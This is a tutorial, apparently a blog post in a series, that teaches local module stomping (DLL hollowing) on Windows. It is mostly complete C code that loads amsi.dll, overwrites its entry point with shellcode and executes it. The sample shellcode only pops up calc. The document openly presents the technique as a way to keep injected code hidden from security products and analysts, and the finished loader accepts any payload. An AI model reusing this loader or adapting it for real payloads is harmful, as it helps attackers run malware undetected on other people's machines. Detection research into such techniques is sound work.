Local Module Stomping / DLL Hollowing
Code execution by replacing a module (DLL) .text section with shellcode
Intro
The term "stomping" means replacing the content of a specific memory region. in module stomping (A.K.A. DLL hollowing), a malicious code (shellcode) replaces the content of .text
section of a legitimate loaded module (DLL).
In classic code execution/injection techniques where shellcode is injected in memory using memory allocation APIs (e.g., VirtualAlloc/Ex), the allocated memory region is not backed by a module on disk (for example a benign DLL path likeC:\windos\system32\user32.dll
).

This behavior looks suspicious in the eyes of security solutions and malware analysts. to avoid allocating such memory regions, we can load a benign DLL into our process and overwrite its content with our malicious shellcode; then, we execute the DLL entry point which in turn will invoke the shellcode.
There are two things to consider in this technique:
CFG can potentially block module stomping if the malicious code execution relies on indirect calls or jumps.
The .text section of the loaded DLL should be large enough for the shellcode to fit in.
Control Flow Guard
Control Flow Guard (CFG) is a security mechanism introduced in Windows to prevent indirect control flow attacks, such as code injection or Return-Oriented Programming (ROP). CFG ensures that only valid, pre-verified function entry points can be used as destinations for indirect calls or jumps.
In case of module stomping, CFG verifies that a function pointer (or indirect jump/call destination) points to a legitimate entry point of a function within an executable module. Shellcode injected into a DLL via module stomping does not reside at a valid function entry point recognized by CFG. so if the shellcode is executed via an indirect call or jump, CFG will intercept the execution attempt because the overwritten memory does not point to a valid function entry point.
In this blog post, we are hollowing a DLL in local process so the call to DLL entry point is direct (no jumps or indirect calls to a remote process). in this case the CFG won't be a problem.
However, when we get to process injection techniques, we have to find a way around CFG when performing remote module stomping.
Module Stomping / DLL Hollowing
The execution flow of this technique is like this:
Load a legitimate DLL into current process
Retrieve module information using
GetModuleInformation
Find the DLL entry point address in memory
Stomping the
.text
section of module with our shellcodeExecuting DLL entry point which will invoke the shellcode
Loading the Module
I covered DLL loading process in previous posts in the series, checkout Dynamic Load Library for more info.
Loading the module is as simple as calling LoadLibraryW
API and pass the name of DLL:
wchar_t BenignDllModule[] = L"C:\\windows\\system32\\amsi.dll";
HMODULE hModule = NULL;
hModule = LoadLibraryW(BenignDllModule);
if (!hModule) {
printf("[-] Failed to load DLL: %d\n", GetLastError());
return 1;
}
else {
printf("[+] Module loaded at 0x%p\n", hModule);
}
Retrieving Module Information
To get the module information such as different PE headers and sections, we use the GetModuleInformation
function.
This function takes a handle to target process (in this case, from GetCurrentProcess()
) and a handle to target module (hModule
), then returns a structure of type MODULEINFO
:
typedef struct _MODULEINFO {
LPVOID lpBaseOfDll; // Module base address
DWORD SizeOfImage; // size of module image
LPVOID EntryPoint; // Module entry point address
} MODULEINFO, *LPMODULEINFO;
This structure contains 3 members, we only need the EntryPoint
parameter.
The code to retrieve the structure looks like this:
MODULEINFO moduleInfo; // holds module info
if (!GetModuleInformation(
GetCurrentProcess(), // returns a handle to current process
hModule, // handle to loaded module (amsi.dll)
&moduleInfo, // empty structure to hold returned data (output)
sizeof(moduleInfo)) // size of MODULEINFO structure
) {
printf("[-] Failed to get module info: %d\n", GetLastError());
return 1;
}
Calculating the DLL Entry Point
The address retrieved from MODULEINFO
points to the base address module PE in memory. in order to find the address of module entry point (the first function executed when the module is loaded into process memory. e.g., DllMain
) we have to walk the PE headers to get to the AddressOfEntryPoint offset. the flow looks like this:
hModule (Base Address of DLL)
↓
e_lfanew (Offset to PE header)
↓
PE Header -> OptionalHeader -> AddressOfEntryPoint (Offset to entry point)
↓
Add the AddressOfEntryPoint to hModule -> Entry Point Address
And here is the code for finding the entry point:
void* DllEntryPoint = NULL;
// Calculate the base address of DLL entry point
DllEntryPoint = (void*)((DWORD_PTR)hModule + ((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);
Breakdown of the code:
(DWORD_PTR)hModule
:hModule
is a handle to the loaded DLL. It's a pointer to the base address of the module in memory.We cast it to
DWORD_PTR
(which is typically auintptr_t
type), ensuring that we can perform pointer arithmetic on it (i.e., adding and offsetting memory addresses).
(PIMAGE_DOS_HEADER)hModule
:A
PIMAGE_DOS_HEADER
is a pointer to the DOS header of the executable (in this case, the DLL).The DOS header is the first part of an executable file and contains various fields. One of the key fields is the e_lfanew, which points to the start of the PE (Portable Executable) header.
((PIMAGE_DOS_HEADER)hModule)->e_lfanew
:e_lfanew
is the offset to the PE header from the beginning of the file. This value is stored in theDOS_HEADER
structure. In the context of a loaded DLL,e_lfanew
will give us the offset fromhModule
to the PE header.
(PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew)
:Now, we use the value from
e_lfanew
to locate the PE header in memory. The PE header contains vital information about the executable, including the OptionalHeader, which holds information about the entry point.We cast the address to
PIMAGE_NT_HEADERS
(a pointer to the PE header structure) so we can access its fields.
((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint
:The
AddressOfEntryPoint
field in theOptionalHeader
tells us the relative offset (from the base address of the module) to the entry point of the DLL.This field provides the location where the execution of the DLL starts, often the
DllMain
function or any custom entry point defined by the DLL.
(void*)((DWORD_PTR)hModule + AddressOfEntryPoint)
:Finally, we add the
AddressOfEntryPoint
to the base address of the module (hModule
) to calculate the absolute address of the entry point in memory.The result is a pointer (
void*
) to the entry point of the loaded DLL.
Stomping the Module
To stomp the module with our shellcode, we have to change its memory protection to RW (read/write) to be able to overwrite the memory content at that address. then we have to copy the shellcode into that address and finally, change the memory protection back to RX (read/execute):
DWORD oldProtect;
// change memory protection to RW
if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_READWRITE, &oldProtect)) {
printf("[-] Failed to change memory protection: %d\n", GetLastError());
return 1;
}
else {
printf("[+] Module memory protection changed to RW\n");
}
// copy the shellcode to module address space
memcpy(DllEntryPoint, shellcode, sizeof(shellcode));
printf("[+] Module .text section has been stomped with shellcode\n");
// change memory protection back to RX
if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
printf("[-] Failed to revert memory protection: %d\n", GetLastError());
return 1;
}
else {
printf("[+] Module memory protection set back to RX\n");
}
Executing DLL entry point
Finally, to invoke our shellcode which now resides in the address of module entry point, we simply call the DLL entry point using a function pointer:
((void(*)())DllEntryPoint)()
Final Code
The complete module stomping code will be this:
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
int main()
{
wchar_t BenignDllModule[] = L"C:\\windows\\system32\\amsi.dll"; // Benign DLL to load
HMODULE hModule = NULL;
void* DllEntryPoint = NULL;
// calc shellcode
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
};
// Loading benign module into current process
hModule = LoadLibraryW(BenignDllModule);
if (!hModule) {
printf("[-] Failed to load DLL: %d\n", GetLastError());
return 1;
}
else {
printf("[+] Module loaded at 0x%p\n", hModule);
}
// Get the entry point of the loaded DLL
MODULEINFO moduleInfo;
if (!GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))) {
printf("[-] Failed to get module info: %d\n", GetLastError());
return 1;
}
// Calculate the base address of DLL entry point
DllEntryPoint = (void*)((DWORD_PTR)hModule + ((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);
printf("[+] DLL Entry point found at: 0x%p\n", DllEntryPoint);
// Change the memory protection of the entry point to RW (Read/Write)
DWORD oldProtect;
if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_READWRITE, &oldProtect)) {
printf("[-] Failed to change memory protection: %d\n", GetLastError());
return 1;
}
else {
printf("[+] Module memory protection changed to RW\n");
}
// Overwrite the entry point with the shellcode
memcpy(DllEntryPoint, shellcode, sizeof(shellcode));
printf("[+] Module .text section has been stomped with shellcode\n");
// Change the memory protection back to RX (Read/Execute) to execute the shellcode
if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
printf("[-] Failed to revert memory protection: %d\n", GetLastError());
return 1;
}
else {
printf("[+] Module memory protection set back to RX\n");
}
printf("[*] Press <Enter> to execute DLL entry point...\n");
getchar();
// Call the entry point to execute the shellcode
((void(*)())DllEntryPoint)();
return 0;
}
If we run the code, the module base address and the address of entry point is printed in the terminal:

As you can see, the memory region is backed by amsi.dll
module on disk.
If we check the module properties in System Informer, we see that its a Microsoft signed binary:

And the address of entry point:

But when we hit Enter, the calc will pop up :)

Resources & References
Code Samples
Code snippets are available on GitHub:
Last updated
Was this helpful?